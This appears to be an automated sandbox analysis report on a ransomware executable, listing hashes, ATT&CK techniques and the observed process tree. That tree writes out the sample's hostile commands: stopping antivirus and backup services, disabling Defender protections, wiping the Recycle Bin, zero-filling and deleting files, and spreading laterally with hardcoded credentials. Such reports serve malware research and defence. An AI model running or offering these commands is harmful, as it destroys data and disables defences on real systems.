cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
147s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
14-05-2024 17:50

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

10^/10

evasion execution ransomware

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Renames multiple (58) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Executes dropped EXE 1 IoCs

pid	Process
5504	4hh2bj0x.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2344	sc.exe
2444	sc.exe
1076	sc.exe
1968	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 3 IoCs

evasion

pid	Process
5044	taskkill.exe
3600	taskkill.exe
1992	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
5292	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3848	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	3600	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	1992	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	5504	4hh2bj0x.exe
Token: SeIncreaseQuotaPrivilege	5504	4hh2bj0x.exe
Token: SeImpersonatePrivilege	5504	4hh2bj0x.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 5092	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	80
PID 2532 wrote to memory of 5092	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	80
PID 2532 wrote to memory of 5092	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	80
PID 2532 wrote to memory of 3832	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	82
PID 2532 wrote to memory of 3832	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	82
PID 2532 wrote to memory of 3832	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	82
PID 2532 wrote to memory of 1752	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	83
PID 2532 wrote to memory of 1752	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	83
PID 2532 wrote to memory of 1752	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	83
PID 2532 wrote to memory of 1688	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	84
PID 2532 wrote to memory of 1688	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	84
PID 2532 wrote to memory of 1688	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	84
PID 2532 wrote to memory of 4040	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	85
PID 2532 wrote to memory of 4040	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	85
PID 2532 wrote to memory of 4040	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	85
PID 2532 wrote to memory of 3144	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	86
PID 2532 wrote to memory of 3144	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	86
PID 2532 wrote to memory of 3144	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	86
PID 2532 wrote to memory of 1760	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	87
PID 2532 wrote to memory of 1760	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	87
PID 2532 wrote to memory of 1760	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	87
PID 2532 wrote to memory of 3212	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	89
PID 2532 wrote to memory of 3212	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	89
PID 2532 wrote to memory of 3212	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	89
PID 2532 wrote to memory of 2960	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 2532 wrote to memory of 2960	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 2532 wrote to memory of 2960	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 2532 wrote to memory of 4860	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	91
PID 2532 wrote to memory of 4860	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	91
PID 2532 wrote to memory of 4860	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	91
PID 2532 wrote to memory of 564	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 2532 wrote to memory of 564	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 2532 wrote to memory of 564	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 2532 wrote to memory of 4308	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	93
PID 2532 wrote to memory of 4308	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	93
PID 2532 wrote to memory of 4308	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	93
PID 2532 wrote to memory of 2980	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	94
PID 2532 wrote to memory of 2980	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	94
PID 2532 wrote to memory of 2980	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	94
PID 2532 wrote to memory of 3876	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	95
PID 2532 wrote to memory of 3876	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	95
PID 2532 wrote to memory of 3876	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	95
PID 2532 wrote to memory of 852	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 2532 wrote to memory of 852	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 2532 wrote to memory of 852	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 2532 wrote to memory of 3868	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 2532 wrote to memory of 3868	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 2532 wrote to memory of 3868	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 2532 wrote to memory of 360	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 2532 wrote to memory of 360	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 2532 wrote to memory of 360	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 2532 wrote to memory of 4724	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 2532 wrote to memory of 4724	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 2532 wrote to memory of 4724	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 2532 wrote to memory of 1344	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100
PID 2532 wrote to memory of 1344	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100
PID 2532 wrote to memory of 1344	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100
PID 2532 wrote to memory of 1104	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	101
PID 2532 wrote to memory of 1104	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	101
PID 2532 wrote to memory of 1104	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	101
PID 2532 wrote to memory of 3588	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	102
PID 2532 wrote to memory of 3588	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	102
PID 2532 wrote to memory of 3588	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	102
PID 2532 wrote to memory of 1892	2532	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	103

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2532
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:3832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:3900
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1752
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5364
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5456
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:4040
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:1944
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:3144
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:4524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5468
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:3212
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2960
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:4860
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5284
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:564
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:4308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5376
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2980
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:3876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5388
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:1424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:3868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5436
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:360
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5040
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4724
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1344
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5500
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:1104
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:5664
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:3588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5272
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5232
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:4804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5396
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:740
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5448
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5540
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5204
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:4520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3152
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5640
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:648
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:4172
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:664
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5140
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3580
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5264
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:2108
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:1948
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2064
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5256
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:4068
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5344
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1968
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:2444
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2344
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1992
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:3092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp5072.bat
  2⤵
  PID:4444
- C:\Windows\SysWOW64\net.exe
  "net.exe" use \\10.127.0.164 /USER:EDENFIELD\efadmin P455w0rd
  2⤵
  PID:6000
- C:\Users\Admin\AppData\Local\Temp\4hh2bj0x.exe
  "C:\Users\Admin\AppData\Local\Temp\4hh2bj0x.exe" \10.127.0.164 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5504
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:5672
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:5292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:3848
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1000
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:4304
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5428

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

